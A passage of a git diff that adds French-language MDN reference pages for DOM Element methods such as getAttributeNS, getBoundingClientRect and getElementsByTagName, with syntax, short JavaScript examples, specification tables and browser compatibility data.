+</pre>
+
+<h3 id="Param.C3.A8tres" name="Param.C3.A8tres">Paramètres</h3>
+
+<dl>
+ <dt><code>attributeNode</code></dt>
+ <dd>Le nœud pour l'attribut spécifié.</dd>
+ <dt><code>namespace</code></dt>
+ <dd>Une chaîne spécifiant l'espace de noms de l'attribut.</dd>
+ <dt><code>nodeName</code></dt>
+ <dd>Une chaîne spécifiant le nom de l'attribut.</dd>
+</dl>
+
+<p><span class="comment">== Example == TBD The example needs to be fixed // html: &lt;div id="top" /&gt; t = document.getElementById("top"); specialNode = t.getAttributeNodeNS( "<a class="external" href="http://www.mozilla.org/ns/specialspace" rel="freelink">http://www.mozilla.org/ns/specialspace</a>", "id"); // iNode.value = "full-top"</span></p>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<p><code>getAttributeNodeNS</code> est plus spécifique que {{ domxref("Element.getAttributeNode") }} en ce qu'il permet de spécifier les attributs faisant partis d'un espace de noms particulier. La méthode de réglage correspondante est {{ domxref("Element.setAttributeNodeNS") }}.</p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-ElGetAtNodeNS">DOM Level 2 Core: getAttributeNodeNS (en)</a> <small>— <a class="external" href="http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-ElGetAtNodeNS">traduction en français</a> (non normative)</small></li>
+</ul>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/DOM/element.getAttributeNodeNS", "ja": "ja/DOM/element.getAttributeNodeNS", "pl": "pl/DOM/element.getAttributeNodeNS" } ) }}</p>
diff --git a/files/fr/web/api/element/getattributens/index.html b/files/fr/web/api/element/getattributens/index.html
new file mode 100644
index 0000000000..1a256de5fa
--- /dev/null
+++ b/files/fr/web/api/element/getattributens/index.html
@@ -0,0 +1,126 @@
+---
+title: element.getAttributeNS
+slug: Web/API/Element/getAttributeNS
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Reference
+translation_of: Web/API/Element/getAttributeNS
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>getAttributeNS()</code></strong> est une méthode de l'interface {{domxref("Element")}} qui renvoie la valeur chaîne de l'attribut avec l'espace de noms et le nom donnés. Si l'attribut nommé n'existe pas, cette valeur sera soit <code>null</code>, soit <code>""</code> (une chaîne vide) ; voir {{ Anch("Notes") }} pour plus de détails.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>attrVal</em> =<em>element</em>.getAttributeNS(<em>namespace</em>,<em>name</em>)
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>namespace </code></dt>
+ <dd><span id="result_box" lang="fr"><span>L'espace de noms dans lequel rechercher l'attribut spécifié.</span></span></dd>
+ <dt><code>name </code></dt>
+ <dd>Le nom de l'attribut à chercher.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur de chaîne de caractères de l'attribut spécifié. Si  l'attribut n'existe pas, le résultat est <code>null</code>.</p>
+
+<div class="note">
+<p>Note : <span id="result_box" lang="fr"><span>Les versions antérieures de la spécification DOM avaient cette méthode décrite comme renvoyant une chaîne vide pour des attributs inexistants, mais elle n'était généralement pas implémentée de cette façon, car null a plus de sens.</span> <span>La spécification DOM4 indique maintenant que cette méthode devrait retourner null pour les attributs inexistants.</span></span></p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le document SVG suivantu utilise une valeur d'attribut <code>foo</code> d'un espace de nom spécifique :</p>
+
+<pre class="brush: xml">&lt;svg xmlns="http://www.w3.org/2000/svg"
+    xmlns:test="http://www.example.com/2014/test" width="40" height="40"&gt;
+
+  &lt;circle id="target" cx="12" cy="12" r="10" stroke="#444"
+      stroke-width="2" fill="none" test:foo="Hello namespaced attribute!"/&gt;
+
+  &lt;script type="text/javascript"&gt;
+    var ns = 'http://www.example.com/2014/test';
+    var circle = document.getElementById( 'target' );
+
+    console.log( 'attribute test:foo: "' + circle.getAttributeNS( ns, 'foo' ) + '"' );
+  &lt;/script&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>Dans un document HTML5, il faut utiliser <code>test:foo</code> pour accéder à l'attribut car les espaces de noms ne sont pas pris en charge.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;body&gt;
+
+&lt;svg xmlns="http://www.w3.org/2000/svg"
+    xmlns:test="http://www.example.com/2014/test" width="40" height="40"&gt;
+  &lt;circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2"
+      fill="none" test:foo="Foo value"/&gt;
+&lt;/svg&gt;
+
+&lt;script type="text/javascript"&gt;
+  var ns = 'http://www.example.com/2014/test';
+  var circle = document.getElementById( 'target' );
+  console.log('Attribute value: ' + circle.getAttribute('test:foo'));
+&lt;/script&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Les espaces de noms sont uniquement pris en charge dans les documents XML, Les documents HTML5 doivent utiliser à la place <code>getAttribute()</code> .</p>
+
+<p>La méthode <code>getAttributeNS</code> diffère de {{domxref("element.getAttribute()", "getAttribute()")}} en ce qu'elle permet de spécifier les attributs faisant partie d'un espace de noms particulier, comme dans l'exemple précédent, où l'attribut fait partie d'un espace de noms fictif « specialspace » de mozilla.</p>
+
+<p><span id="result_box" lang="fr"><span>Avant la spécification DOM4, cette méthode était spécifiée pour renvoyer une chaîne vide plutôt que null pour les attributs inexistants.</span> <span>Cependant, la plupart des navigateurs ont renvoyé null.</span> <span>À partir de DOM4, la spécification dit maintenant de retourner null.</span> <span>Cependant, certains navigateurs plus anciens renvoient une chaîne vide.</span> <span>Pour cette raison, vous devez utiliser {{domxref("element.hasAttributeNS ()","hasAttributeNS ()")}} pour vérifier l'existence d'un attribut avant d'appeler <code>getAttributeNS()</code> s'il est possible que l'attribut demandé n'existe pas</span> <span>sur l'élément spécifié.</span></span></p>
+
+<p>{{ DOMAttributeMethods() }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-element-getattributens", "Element.getAttributeNS()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "#ID-ElGetAttrNS", "Element.getAttributeNS()")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td>Specifie qu'une exception <code>NOT_SUPPORTED_ERR</code>  <span class="short_text" id="result_box" lang="fr"><span>est levée si l'agent utilisateur ne supporte pas la fonctionnalité</span></span> <code>"XML"</code>. <span id="result_box" lang="fr"><span>Spécifie également que <code>null</code> doit être passé pour n'avoir aucun espace de noms.</span></span></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "#ID-ElGetAttrNS", "Element.getAttributeNS()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Element.getAttributeNS")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/Add-ons/Code_snippets/getAttributeNS">Code snippets:getAttributeNS</a></li>
+</ul>
diff --git a/files/fr/web/api/element/getboundingclientrect/index.html b/files/fr/web/api/element/getboundingclientrect/index.html
new file mode 100644
index 0000000000..ba2e4c2a85
--- /dev/null
+++ b/files/fr/web/api/element/getboundingclientrect/index.html
@@ -0,0 +1,119 @@
+---
+title: element.getBoundingClientRect
+slug: Web/API/Element/getBoundingClientRect
+tags:
+  - API
+  - CSSOM
+  - Méthode
+  - Référence(2)
+translation_of: Web/API/Element/getBoundingClientRect
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>Element.getBoundingClientRect()</strong></code> retourne un objet {{domxref("DOMRect")}} fournissant des informations sur la taille d'un élément et sa position relative par rapport à la <a href="/fr/docs/Glossaire/Viewport">zone d'affichage</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>objetRect</var> = <var>object</var>.getBoundingClientRect();
+</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur de retour est un objet <code><a href="/fr/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMClientRect">DOMRect</a></code> qui est le plus petit rectangle contenant l'élément en entier, incluant sa zone de remplissage et la largeur de sa bordure. Les propriétés <code>left</code>, <code>top</code>, <code>right</code>, <code>bottom</code>, <code>x</code>, <code>y</code>, <code>width</code>, et <code>height</code>, décrivent la position et la taille du rectangle en pixels. Les propriétés autres que <code>width</code> et <code>height</code> sont relatives au coin en haut à gauche de la zone d'affichage.<img alt="Schéma d'un élément dans sa zone de remplissage, décrivant les propriétés retournées par la méthode." src="https://mdn.mozillademos.org/files/17155/element-box-diagram.png" style="height: 1099px; width: 1466px;"></p>
+
+<p>Les propriétés <code>width</code> et <code>height</code> de l'objet {{domxref("DOMRect")}} retourné par la méthode incluent le <code>padding</code> et <code>border-width</code>, et non pas seulement la largeur/hauteur du contenu. Avec le modèle standard de boîte, cela correspondrait à la propriété <code>width</code> ou <code>height</code> de l'élément + <code>padding</code> + <code>border-width</code>. Mais si <code><a href="/fr/docs/Web/CSS/box-sizing">box-sizing: border-box</a></code> est définit pour l'élément, cela correpondrait seulement <code>width</code> ou <code>height</code>.</p>
+
+<p>La valeur retournée peut être conceptualisée comme l'union des rectangles retournés par {{domxref("Element.getClientRects", "getClientRects()")}} pour l'élément, i.e. les boîtes de bordure CSS associées à l'élément.</p>
+
+<p>Les boîtes de bordure vides sont complètement ignorées. Si toutes les boîtes de bordure associées à l'élément sont vides, la méthode renvoie alors un rectangle pour lequel <code>width</code> et <code>height</code> valent 0 et où <code>top</code> et <code>left</code> correspondent au coin en haut à gauche de la première boîte de bordure (dans l'ordre du contenu) de l'élément.</p>
+
+<p>La distance de défilement qui a été parcourue dans la zone d'affichage (ou n'importe quel élément que l'on peut faire défiler) est prise en compte pour calculer le rectangle de délimitation. Cela signifie que les côtés du rectangle de délimitation (<code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>) change ses valeurs à chaque fois que la position de défilement change (parce que les valeurs sont relatives à la zone d'affichage et ne sont pas absolues).</p>
+
+<p>Si vous avez besoin d'un rectangle de délimitation relatif au coin supérieur gauche du document, ajoutez simplement la position actuelle de défilement aux propriétés <code>top</code> et <code>left</code> (elles peuvent être obtenues en utilisant {{domxref("window.scrollX")}} et {{domxref("window.scrollY")}}) pour avoir un rectangle de délimitation indépendant de la position de défilement actuelle.</p>
+
+<h3 id="Solution_de_prise_en_charge_multi-navigateurs">Solution de prise en charge multi-navigateurs</h3>
+
+<p>Les scripts qui doivent avoir une haute compatibilité pour l'ensemble des navigateurs peuvent utiliser <code>window.pageXOffset</code> et <code>window.pageYOffset</code> plutôt que <code>window.scrollX</code> et <code>window.scrollY.</code> Les scripts qui ne peuvent pas utiliser <code>window.pageXOffset</code>, <code>window.pageYOffset</code>, <code>window.scrollX</code> ou <code>window.scrollY</code> pourront utiliser cette méthode :</p>
+
+<pre class="brush:js notranslate">// Pour scrollX
+(((t = document.documentElement) || (t = document.body.parentNode))
+  &amp;&amp; typeof t.ScrollLeft == 'number' ? t : document.body).ScrollLeft
+// Pour scrollY
+(((t = document.documentElement) || (t = document.body.parentNode))
+  &amp;&amp; typeof t.ScrollTop == 'number' ? t : document.body).ScrollTop
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Ce simple exemple récupère l'objet <code>DOMRect</code> représentant le rectangle de délimitation dans le client d'un simple élément div, et affiche ses propriétés dessous.</p>
+
+<pre class="brush:html notranslate">&lt;div&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush:css notranslate">div {
+  width: 400px;
+  height: 200px;
+  padding: 20px;
+  margin: 50px auto;
+  background: purple;
+}</pre>
+
+<pre class="brush:js notranslate">let elem = document.querySelector('div');
+let rect = elem.getBoundingClientRect();
+for (var key in rect) {
+  if(typeof rect[key] !== 'function') {
+    let para = document.createElement('p');
+    para.textContent  = `${ key } : ${ rect[key] }`;
+    document.body.appendChild(para);
+  }
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#dom-element-getboundingclientrect", "Element.getBoundingClientRect()")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Notes">Notes</h3>
+
+<p>L'objet <code>DOMRect</code> retourné peut être modifié dans les navigateurs modernes. Cela n'était pas le cas avec ceux plus anciens qui retournaient effectivement <code>DOMRectReadOnly</code>. Dans IE et Edge, ne pas pouvoir ajouter les propriétés manquantes à l'objet <a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx">ClientRect </a>qu'ils retournent empêche d'ajouter le support de <code>x</code> et <code>y</code>.</p>
+
+<p>En raison de problèmes de comptabilité (voir ci-dessous), il est plus sûr de se limiter aux propriétés <code>top</code>, <code>left</code>, <code>right</code>, et <code>bottom</code>.</p>
+
+<p>Les propriétés dans l'objet <code>DOMRect</code> retourné ne sont pas possèdées pas ce dernier. Tandis que les opérateurs <code>in</code> et <code>for...in</code> vont trouver les propriétés retournées, les autres APIs comme Object.keys échoueront. De plus, et de façon inattendue, les fonctionnalités ES2015 et plus récentes telles que <code>Object.assign()</code> et les paramètres du reste / la décomposition d'un objet, ne réussiront pas à copier les propriétés retournées.</p>
+
+<pre class="brush:js notranslate">rect = elt.getBoundingClientRect()
+// The result in emptyObj is {}
+emptyObj = Object.assign({}, rect)
+emptyObj = { ...rect }
+{ width, ...emptyObj } = rect</pre>
+
+<p>Les propriétés <code>top</code>, <code>left</code>, <code>right</code>, et <code>bottom</code> de <code>DOMRect</code> sont calculées en utilisant les valeurs des autres propriétés de l'objet.</p>
+
+<ul>
+</ul>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{Compat("api.Element.getBoundingClientRect")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.getClientRects", "getClientRects()")}}</li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/ms536433(VS.85).aspx">MSDN: <code>getBoundingClientRect</code></a></li>
+ <li><a href="https://msdn.microsoft.com/en-us/library/hh826029(VS.85).aspx">MSDN: <code>ClientRect</code></a>, une version plus ancienne de <code>DOMRect</code></li>
+</ul>
diff --git a/files/fr/web/api/element/getelementsbyclassname/index.html b/files/fr/web/api/element/getelementsbyclassname/index.html
new file mode 100644
index 0000000000..6db517f757
--- /dev/null
+++ b/files/fr/web/api/element/getelementsbyclassname/index.html
@@ -0,0 +1,71 @@
+---
+title: Element.getElementsByClassName()
+slug: Web/API/Element/getElementsByClassName
+tags:
+  - API
+  - Classes
+  - Element
+  - Method
+  - Reference
+  - getElementByClassName
+translation_of: Web/API/Element/getElementsByClassName
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <strong><code>Element.getElementsByClassName()</code></strong> retourne une {{domxref("HTMLCollection")}} contenant une référence sur tous les éléments ayant les noms de classes passés en paramètre. Quand la méthode est appelée sur l'objet document, la recherche s'effectue dans le document complet, noeud racine compris.</p>
+
+<p>À l'instar de la méthode {{domxref("Document.getElementsByClassName", "Document.getElementsByClassName()")}} qui agit sur le document entier ; elle va retourner les descendants de l'élément spécifié comme document root qui auront les noms de classes passés en paramètre.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>var <em>elements</em></var> = <em>element</em>.getElementsByClassName(<em>names</em>);</pre>
+
+<ul>
+ <li><em><var>elements</var></em> est une {{ domxref("HTMLCollection") }} de référence vers les élements trouvés.</li>
+ <li><em><var>names</var></em> est une chaine représentant la liste des noms de classes à trouver; les noms de classes sont séparés par un espace.</li>
+ <li><em>element</em> est n'importe quel {{domxref("Element")}} du document.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Obtient tous les élements ayant une classe <code>test</code>:</p>
+
+<pre class="brush: js">element.getElementsByClassName('test');</pre>
+
+<p>Obtient tous les élements ayant à la fois la classe <code>red</code> et la classe <code>test</code>:</p>
+
+<pre class="brush: js">element.getElementsByClassName('red test');</pre>
+
+<p>Obtient tous les élements qui ont une classe <code>test</code>, à l'intérieur d'un élement qui a pour id <code>main</code>:</p>
+
+<pre class="brush: js">document.getElementById('main').getElementsByClassName('test');</pre>
+
+<p>On peut aussi utiliser les méthodes de {{jsxref("Array.prototype")}} sur chaque {{ domxref("HTMLCollection") }} en passant la <code><var>HTMLCollection</var></code> comme valeur <var>this</var> de la méthode. Ci-dessous on trouvera tous les {{HTMLElement("div")}} avec une classe <code>test</code>:</p>
+
+<pre class="brush: js">var testElements = document.getElementsByClassName('test');
+var testDivs = Array.prototype.filter.call(testElements, function(testElement){
+    return testElement.nodeName === 'div';
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbyclassname', 'Element.getElementsByClassName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer à ces données, veuillez consulter le site <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Element.getElementsByClassName")}}</p>
diff --git a/files/fr/web/api/element/getelementsbytagname/index.html b/files/fr/web/api/element/getelementsbytagname/index.html
new file mode 100644
index 0000000000..db034104c0
--- /dev/null
+++ b/files/fr/web/api/element/getelementsbytagname/index.html
@@ -0,0 +1,143 @@
+---
+title: element.getElementsByTagName
+slug: Web/API/Element/getElementsByTagName
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthode
+  - Reference
+translation_of: Web/API/Element/getElementsByTagName
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>Element.getElementsByTagName()</strong></code> retourne une liste des éléments portant le <a href="https://developer.mozilla.org/fr/docs/Web/API/Element/tagName" title="fr/DOM/element.tagName">nom de balise</a> donné. La recherche porte sur le sous-arbre de l'élément spécifié, à l'exception de cet élément lui-même. La liste retournée est <em>live</em>, c'est à dire qu'elle se met à jour automatiquement à chaque changement de l'arbre DOM. Par conséquent, il n'est pas nécessaire d'appeller plusieurs fois  <code>Element.getElementsByTagName()</code>  avec le même élément et les mêmes arguments.</p>
+
+<p>Quand elle est appelée sur un élément HTML dans un document HTML, <code>getElementsByTagName </code><span id="result_box" lang="fr"><span>place son argument en minuscule avant de continuer.</span> <span>Cela n'est pas souhaitable lorsque vous tentez de faire correspondre des éléments SVG "</span></span> camel-cased" <span lang="fr"><span> dans une sous-arborescence dans un document HTML.</span> <span>{{domxref("Element.getElementsByTagNameNS()")}} fonctionne dans ce cas.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span><code>Element.getElementsByTagName</code> est similaire à {{domxref("Document.getElementsByTagName()")}}, à part que sa recherche est limitée aux éléments qui sont des descendants de l'élément spécifié.</span></span></p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code><em>elements</em> = <em>element</em>.getElementsByTagName(<em>tagName</em>)</code></pre>
+
+<ul>
+ <li><code>elements</code>  est une {{domxref("HTMLCollection")}} contenant les éléments trouvés, dans l'ordre dans lequel ils apparaissent dans le sous-arbre. Si aucun élément n'a été trouvé, la <code>HTMLCollection</code> est vide.</li>
+ <li><code>element</code> est l'élément depuis lequel la recherche doit commencer. Notez que seuls les descendants de cet élément feront partie des résultats, mais pas l'élément lui-même.</li>
+ <li><code>tagName</code>  est le nom qualifié à rechercher. La chaîne spéciale <code>"*"</code> représente tous les éléments possibles. Pour la compatibilité avec XHTML, les minuscules doivent être utilisées.</li>
+</ul>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// vérifie l'alignement sur un nombre de cellules dans un tableau. </span>
+<span class="keyword token">var</span> table <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"forecast-table"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> cells <span class="operator token">=</span> table<span class="punctuation token">.</span><span class="function token">getElementsByTagName</span><span class="punctuation token">(</span><span class="string token">"td"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">for</span> <span class="punctuation token">(</span><span class="keyword token">var</span> i <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span> i <span class="operator token">&lt;</span> cells<span class="punctuation token">.</span>length<span class="punctuation token">;</span> i<span class="operator token">++</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> status <span class="operator token">=</span> cells<span class="punctuation token">[</span>i<span class="punctuation token">]</span><span class="punctuation token">.</span><span class="function token">getAttribute</span><span class="punctuation token">(</span><span class="string token">"data-status"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span> status <span class="operator token">==</span> <span class="string token">"open"</span> <span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="comment token">// saisit les données </span>
+    <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagname', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Change la valeur de retour de {{domxref("NodeList")}} à{{domxref("HTMLCollection")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement par rapport à {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement par rapport à {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1938918D', 'Element.getElementsByTagName()')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>5.5</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+   <td>{{ CompatVersionUnknown() }} [2]</td>
+  </tr>
+  <tr>
+   <td>getElementsByTagName("*")</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>6.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <span class="short_text" id="result_box" lang="fr"><span>Avant Firefox 19, cette méthode retournait une</span></span> {{domxref("NodeList")}} ; <span id="result_box" lang="fr"><span>il a ensuite été modifié pour refléter le changement de spécification.</span></span></p>
+
+<p>[2] Initiallement, la méthode retournait une {{domxref("NodeList")}} ; <span id="result_box" lang="fr"><span>il a ensuite été modifié pour refléter le changement de spécification.</span></span></p>
+</div>
+
+<p> </p>
diff --git a/files/fr/web/api/element/getelementsbytagnamens/index.html b/files/fr/web/api/element/getelementsbytagnamens/index.html
new file mode 100644
index 0000000000..9348f8eb5a
--- /dev/null
+++ b/files/fr/web/api/element/getelementsbytagnamens/index.html
@@ -0,0 +1,77 @@
+---
+title: Element.getElementsByTagNameNS()
+slug: Web/API/Element/getElementsByTagNameNS
+tags:
+  - API
+  - DOM
+  - Element
+  - Méthode
+  - Reference
+translation_of: Web/API/Element/getElementsByTagNameNS
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>La méthode <code><strong>Element.getElementsByTagNameNS()</strong></code> renvoie un objet {{domxref("HTMLCollection")}} <span id="result_box" lang="fr"><span>avec le nom de balise donné appartenant à l'espace de noms donné. Elle est semblable à la méthode</span></span> {{Domxref("Document.getElementsByTagNameNS")}} mais cette dernière recherche sur l'ensemble du document tandis que <code>getElementsByTagNameNS()</code> recherche parmi les descendants de l'élément courant.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval"><em>elements</em> =<em> element</em>.getElementsByTagNameNS(<em>namespaceURI</em>,<em>localName</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>namespaceURI</code></dt>
+ <dd>L'URI de l'espace de noms des éléments à rechercher (cf. <code><a href="/fr/docs/Web/API/Element/namespaceURI">namespaceURI</a></code>). Par exemple, si vous recherchez des éléments XHTML, utilisez l'URI d'espace de noms XHTML, <code><span class="nowiki">http://www.w3.org/1999/xhtml</span></code>.</dd>
+ <dt><code>localName</code></dt>
+ <dd>Le nom local des éléments à rechercher ou la valeur spéciale <code>"*"</code> (correspondant à tous les éléments). Voir {{domxref("Node.localName")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une collection {{domxref("HTMLCollection")}} des éléments trouvés, dans l'ordre d'apparition dans l'arbre du DOM.</p>
+
+<h2 id="Exemple" name="Exemple">Exemples</h2>
+
+<pre class="brush: js">// vérifie l'alignement d'une série de cellules d'un tableau dans un document XHTML.
+var table = document.getElementById("forecast-table");
+var cells = table.getElementsByTagNameNS("<span class="plain">http://www.w3.org/1999/xhtml</span>", "td");
+for (var i = 0; i &lt; cells.length; i++) {
+  var axis = cells[i].getAttribute("axis");
+  if (axis == "year") {
+    // saisit les données
+  }
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-getelementsbytagnamens', 'Element.getElementsByTagNameNS()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Modification du type de la valeur de retour : passage de {{domxref("NodeList")}} à {{domxref("HTMLCollection")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-A6C90942', 'Element.getElementsByTagNameNS()')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Aucune modification depuis {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-A6C90942', 'Element.getElementsByTagNameNS()')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
